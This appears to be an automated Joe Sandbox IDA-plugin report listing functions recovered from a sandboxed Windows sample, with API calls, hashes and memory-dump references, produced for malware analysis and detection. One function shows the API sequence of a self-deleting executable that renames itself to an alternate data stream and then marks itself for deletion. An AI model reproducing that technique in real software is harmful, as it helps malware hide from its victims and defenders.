Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: ___std_fs_directory_iterator_advance@8___std_fs_directory_iterator_open@12
String ID:
API String ID: 3016148460-0
Opcode ID: 0c103f4b57713813d676f7cdc0af76314ea44e6e128fbe9d6298dba4bfd48ffc
Instruction ID: 17cc0e3bd17dabdef4afff0acca4050c708bb4ac396ea091b89f3202337e2e15
Opcode Fuzzy Hash: 0c103f4b57713813d676f7cdc0af76314ea44e6e128fbe9d6298dba4bfd48ffc
Instruction Fuzzy Hash: 7751D272D00A19DBCF28DF98C8D4BAEB7B8EF44324F554729E815A7681DB34AD40CB90

Function 009787F9 Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(0099C3E0,0000000C), ref: 0097880C
ExitThread.KERNEL32 ref: 00978813

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: f4ef27ddc2cd500f4cee1368cc63c8b5f46c8e385d4f105fc4522492a489bad9
Instruction ID: 7da3213b19c77ed690333728b6fc3100e243929d41bc7829a65cb5e396e721b2
Opcode Fuzzy Hash: f4ef27ddc2cd500f4cee1368cc63c8b5f46c8e385d4f105fc4522492a489bad9
Instruction Fuzzy Hash: C0F0C272950204AFDB00BB70C84AB6F3B75FF84710F24855AF419AB2A2CF355940DBA2

Function 0097FC10 Relevance: 2.6, APIs: 2, Instructions: 71COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0097881E,0099C3E0,0000000C), ref: 0097FC14
SetLastError.KERNEL32(00000000), ref: 0097FCB6

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 650105f656d5fa04503be59ce73bc0159f410312802bd7944be140c81eda9615
Instruction ID: 306b007f1a0331d20f69f5b195f01cc9310124c6283639b21882ae9f760e3557
Opcode Fuzzy Hash: 650105f656d5fa04503be59ce73bc0159f410312802bd7944be140c81eda9615
Instruction Fuzzy Hash: D7112C3321820D6FF7527B785CD6F2A314CAF803B47188935FD5EB12E1FA544C049220

Function 0096A500 Relevance: 1.7, APIs: 1, Instructions: 170COMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32(?), ref: 0096A570

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 051833edab58064e57a07bf1512a1742bfef109f7f08070567dcb215d1222dc8
Instruction ID: eb09e1613dae31ee63ad730da522ca030ea33d29a36b804a0987e55418bad5f1
Opcode Fuzzy Hash: 051833edab58064e57a07bf1512a1742bfef109f7f08070567dcb215d1222dc8
Instruction Fuzzy Hash: 517139758006688BDB29CF28CC457E9B7B4FF49314F1482D9E849AB751DB316A85CF81

Function 0098277E Relevance: 1.6, APIs: 1, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9da259d7523822dd71fa71025939ba85e97a67a7f61acebe12e750f31dd4dd1
Instruction ID: 187db8ae91b6376af0b7886c710cd588877f756e073e96119f62a6cc1f56d2bd
Opcode Fuzzy Hash: a9da259d7523822dd71fa71025939ba85e97a67a7f61acebe12e750f31dd4dd1
Instruction Fuzzy Hash: BB01DD3762C1159F9B16EF6DEC40A1633A9BBC47207244525F904DB298EE31E810E790

Function 0096EEE0 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 0096EF69

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID:
API String ID: 2134207285-0
Opcode ID: fd4852dd2a53aff8b843245baba94eed04e1a3929d32cbfb446d960449aa1dcf
Instruction ID: 0f1dc64d953044d51a8d7ed48171aa67c71499666876fdde68df5b05f68ead3f
Opcode Fuzzy Hash: fd4852dd2a53aff8b843245baba94eed04e1a3929d32cbfb446d960449aa1dcf
Instruction Fuzzy Hash: C3019272A44305ABD724DF58CC06B5AB7F8FB84B10F10452EF919AB3C0EBB0690087A4

Function 009715C0 Relevance: 1.6, APIs: 1, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 009614DE

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: 7e9c3df39a104260d543869c5f393b2c796aa926f3f5c95e2d41d625d17ac573
Instruction ID: c6acc82064f3820928e75fb92dc284428bb617d5899c099c16bdf39ef7e9db03
Opcode Fuzzy Hash: 7e9c3df39a104260d543869c5f393b2c796aa926f3f5c95e2d41d625d17ac573
Instruction Fuzzy Hash: 8001267381030DA7CB24AFA9EC01A4977AC9F80364B14C526F54CDB591FB70EA508790

Function 0098247C Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,?,0097FC5D,00000001,00000364,?,00000006,000000FF,?,0097881E,0099C3E0,0000000C), ref: 009824BD

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ed34bf5264e7130406ebf867b4264b513c32bc45ba82dfb11ad86fc1941ba448
Instruction ID: 5a9ba50165e75dcc16b51baca067265f5f9b862993755be5fbfe36fc44d203fa
Opcode Fuzzy Hash: ed34bf5264e7130406ebf867b4264b513c32bc45ba82dfb11ad86fc1941ba448
Instruction Fuzzy Hash: 39F08232615635BBDB257B769C05B6A778CAF81770B19C522B80CAA3B5DA34D80087F0

Function 00978905 Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 0098247C: RtlAllocateHeap.NTDLL(00000008,?,?,?,0097FC5D,00000001,00000364,?,00000006,000000FF,?,0097881E,0099C3E0,0000000C), ref: 009824BD

Part of subcall function 00980082: HeapFree.KERNEL32(00000000,00000000,?,00988DC6,?,00000000,?,?,00989067,?,00000007,?,?,0098955B,?,?), ref: 00980098
Part of subcall function 00980082: GetLastError.KERNEL32(?,?,00988DC6,?,00000000,?,?,00989067,?,00000007,?,?,0098955B,?,?), ref: 009800A3

GetModuleHandleExW.KERNEL32(00000004,00000000,0000000C,00000000,00000000,?), ref: 0097893C

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: Heap$AllocateErrorFreeHandleLastModule
String ID:
API String ID: 982861180-0
Opcode ID: 984a1633414e0bcf80411cf7c63a9364c2fe6077f92688c26dab7f1317d22d95
Instruction ID: 13a8161216492a60d6f6d06fcf53f988e2021977d3dad325f88b43853c587b7f
Opcode Fuzzy Hash: 984a1633414e0bcf80411cf7c63a9364c2fe6077f92688c26dab7f1317d22d95
Instruction Fuzzy Hash: 3AF054B6901218BBD720EF55DC06F9BBBA9DBC4760F01801ABE5997351DA709E00C7A1

Function 009800BC Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,00000003,0097FCCA), ref: 009800EE

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 05c51d336ddd4e83154093e2a04b197082fcf0f72f6df967b0fb0a809b3c68b5
Instruction ID: b76a38b6e11f1ed8aee2698cb2c224f7439f333c0dbba6dd98f3244a83265f7e
Opcode Fuzzy Hash: 05c51d336ddd4e83154093e2a04b197082fcf0f72f6df967b0fb0a809b3c68b5
Instruction Fuzzy Hash: 72E06D73658221AAE6713E669C05B5E3A4CAFD27A1F158522EC8AA62D0DE64DC04D3A0

Non-executed Functions

Function 0096FE63 Relevance: 15.2, APIs: 10, Instructions: 200fileCOMMON

Download Yara Rule

APIs

GetFileAttributesExW.KERNEL32(000000FF,00000000,?), ref: 0096FEFB
GetLastError.KERNEL32 ref: 0096FF05
FindFirstFileW.KERNEL32(000000FF,?), ref: 0096FF1C
GetLastError.KERNEL32 ref: 0096FF27
FindClose.KERNEL32(00000000), ref: 0096FF33
___std_fs_open_handle@16.LIBCPMT ref: 0096FFEC

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: ErrorFileFindLast$AttributesCloseFirst___std_fs_open_handle@16
String ID:
API String ID: 2340820627-0
Opcode ID: 529169d7bdcd62cb69a5003714f6609308d32db382abb7d0ce9853d49ff168d5
Instruction ID: 2732fc6fe2727f2edf6a9bc93668cf25baba44edc84dc801c57ea045ac5f91be
Opcode Fuzzy Hash: 529169d7bdcd62cb69a5003714f6609308d32db382abb7d0ce9853d49ff168d5
Instruction Fuzzy Hash: 9571C475A00719EFCB24CF28DC95BA9B7B8BF45320F148666E859E3390EB309D44CB91

Function 0098A571 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,0098A883,00000002,00000000,?,?,?,0098A883,?,00000000), ref: 0098A60A
GetLocaleInfoW.KERNEL32(?,20001004,0098A883,00000002,00000000,?,?,?,0098A883,?,00000000), ref: 0098A633
GetACP.KERNEL32(?,?,0098A883,?,00000000), ref: 0098A648

Strings

OCP, xrefs: 0098A5C5
ACP, xrefs: 0098A58F

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 585dfb4cd80e313ac37689fc03f34db51f0927f5a1c3e5c270355aa768e61a6a
Instruction ID: f68b3ffa9b084d0fbe807feb5ff4ed381711648418e70809ddaf50f5c93526d3
Opcode Fuzzy Hash: 585dfb4cd80e313ac37689fc03f34db51f0927f5a1c3e5c270355aa768e61a6a
Instruction Fuzzy Hash: C721B622A01200AAFB34AF58C900B9B73AABB54B50F5A8426F909D7314FB32DDC1C352

Function 0098A74D Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0097FC10: GetLastError.KERNEL32(?,?,0097881E,0099C3E0,0000000C), ref: 0097FC14
Part of subcall function 0097FC10: SetLastError.KERNEL32(00000000), ref: 0097FCB6

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 0098A855
IsValidCodePage.KERNEL32(00000000), ref: 0098A893
IsValidLocale.KERNEL32(?,00000001), ref: 0098A8A6
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 0098A8EE
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 0098A909

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: b6586b952202228c1f70e6eaeefd81180affce72383d092ed0488e2f5605cd2d
Instruction ID: 63bf2ab900acbf9a004548e341685201262365b4cba6d2418db079adf69c2042
Opcode Fuzzy Hash: b6586b952202228c1f70e6eaeefd81180affce72383d092ed0488e2f5605cd2d
Instruction Fuzzy Hash: 66514D71A00205AFFB10EFA9DC45BBA77BCBF48700F14442AE914E7291E771D941CB62

Function 00989DD8 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 254COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0097FC10: GetLastError.KERNEL32(?,?,0097881E,0099C3E0,0000000C), ref: 0097FC14
Part of subcall function 0097FC10: SetLastError.KERNEL32(00000000), ref: 0097FCB6

GetACP.KERNEL32(?,?,?,?,?,?,0097E766,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00989E97
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,0097E766,?,?,?,00000055,?,-00000050,?,?), ref: 00989ECE
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 0098A031

Strings

utf8, xrefs: 00989FA0

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: c6e47c87066c1cde5d2dfc34139cf16f587838c1d26c1fd11d37c76a8c4dbe22
Instruction ID: 558e49bcdd8b758b820dda6dfe6535186e62e2b890b3a802f371764e5fc61e49
Opcode Fuzzy Hash: c6e47c87066c1cde5d2dfc34139cf16f587838c1d26c1fd11d37c76a8c4dbe22
Instruction Fuzzy Hash: 6B71D671604606AAEB29BB74CC46BBA77ACEF85704F18442AF606D7381EB74ED40C761

Function 0097B2E0 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6970aa3af08567890e369f4e35d894d92c7a9cc5edecd2a02881d37823a5b150
Instruction ID: 8155c76c2cb1138fe4276217e66ac40e8587a8cd27710a0d04d04bfe9b2da330
Opcode Fuzzy Hash: 6970aa3af08567890e369f4e35d894d92c7a9cc5edecd2a02881d37823a5b150
Instruction Fuzzy Hash: A0021B72E012199BDF14CFA9C9807AEBBF5FF88314F248269E519E7341D731AA41CB94

Function 0097227E Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0097228A
IsDebuggerPresent.KERNEL32 ref: 00972356
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0097236F
UnhandledExceptionFilter.KERNEL32(?), ref: 00972379

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 9f8f494a3f810dab23acff911733c1cb8194a7c685040bb65526e1626c4c5c23
Instruction ID: 2266bb1ce7932ece0720ca08a8662c90f9fd660124ab58885f58a4a888828a9c
Opcode Fuzzy Hash: 9f8f494a3f810dab23acff911733c1cb8194a7c685040bb65526e1626c4c5c23
Instruction Fuzzy Hash: 4831F975D15219EBDB20DFA4D9497CDBBB8AF08700F1081AAE50CAB250EB749B84DF45

Function 0097162F Relevance: 6.0, APIs: 4, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,0097174F,0099333C), ref: 00971634
UnhandledExceptionFilter.KERNEL32(0097174F,?,0097174F,0099333C), ref: 0097163D
GetCurrentProcess.KERNEL32(C0000409,?,0097174F,0099333C), ref: 00971648
TerminateProcess.KERNEL32(00000000,?,0097174F,0099333C), ref: 0097164F

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: 7c91b2967f2cc48ab07b3fc2525452668fef0aec0a450e51929a3d8297241cf8
Instruction ID: 7d6aa6f1e28ffd15c33877f68a15fdfdd9b4d027ef9a83212dbb11485be6ccca
Opcode Fuzzy Hash: 7c91b2967f2cc48ab07b3fc2525452668fef0aec0a450e51929a3d8297241cf8
Instruction Fuzzy Hash: E1D0027206C209FBEF102BE9FD4DA593F2CEB08656F054412F70A86471DB725461ABA5

Function 0096F7B7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32windowCOMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(!x-sys-default-locale,20000001,?,00000002,C57AAC56,?,00961AA3,?,C57AAC56), ref: 0096F7CB
FormatMessageA.KERNEL32(00001300,00000000,00000000,?,C57AAC56,00000000,00000000,?,?,00961AA3,?,C57AAC56), ref: 0096F7F2

Strings

!x-sys-default-locale, xrefs: 0096F7C6

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: FormatInfoLocaleMessage
String ID: !x-sys-default-locale
API String ID: 4235545615-2729719199
Opcode ID: a7f1d7f8bec07934f7bcff11828359a51e76f677c5d06541de14da79cbc5741f
Instruction ID: 3ebad7c02498c16ea0c7702484bdf1109df6fd53a7675fce3c8ebdad256b9fc2
Opcode Fuzzy Hash: a7f1d7f8bec07934f7bcff11828359a51e76f677c5d06541de14da79cbc5741f
Instruction Fuzzy Hash: F7F065B5514109FFEB089B98DC1BDEB77ACEB08754F104025BA06D6040E2B0AE00E7B0

Function 00965170 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 91memoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000018,?,?,00000000), ref: 0096519E
HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 009651A5
GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,00000000), ref: 009651E3
CreateFileW.KERNEL32(?,00110000,00000001,00000000,00000003,00000000,00000000,?,?,?,00000000), ref: 00965208
SetFileInformationByHandle.KERNEL32(00000000,00000003,00000000,00000018,?,?,00000000), ref: 0096521B
CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 00965226
CreateFileW.KERNEL32(?,00110000,00000001,00000000,00000003,00000000,00000000,?,?,00000000), ref: 00965242
SetFileInformationByHandle.KERNEL32(00000000,00000004,00000001,00000001,?,?,00000000), ref: 0096525B
CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 00965266
GetProcessHeap.KERNEL32(00000000,00000000,?,?,00000000), ref: 0096526F
HeapFree.KERNEL32(00000000,?,?,00000000), ref: 00965276

Strings

:cat, xrefs: 009651C9

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: File$HandleHeap$CloseCreateInformationProcess$AllocFreeModuleName
String ID: :cat
API String ID: 681140232-3754777955
Opcode ID: dfc043cd97aa40138f5e43ff0b2d377c30b711cb34386586428d4660dc32ceea
Instruction ID: aa6dc59bf39ff5976e81c758aaf3db8f098051bc6f862d77b4b77c1aa5fd2ee3
Opcode Fuzzy Hash: dfc043cd97aa40138f5e43ff0b2d377c30b711cb34386586428d4660dc32ceea
Instruction Fuzzy Hash: AC31D571650308BBE730DB78DC4AFDA3BACAB49B10F004166F715A61D1DBB09684EBA5

Function 0098D4CA Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0098D183: CreateFileW.KERNEL32(?,00000000,?,0098D573,?,?,00000000,?,0098D573,?,0000000C), ref: 0098D1A0

GetLastError.KERNEL32 ref: 0098D5DE
__dosmaperr.LIBCMT ref: 0098D5E5
GetFileType.KERNEL32(00000000), ref: 0098D5F1
GetLastError.KERNEL32 ref: 0098D5FB
__dosmaperr.LIBCMT ref: 0098D604
CloseHandle.KERNEL32(00000000), ref: 0098D624
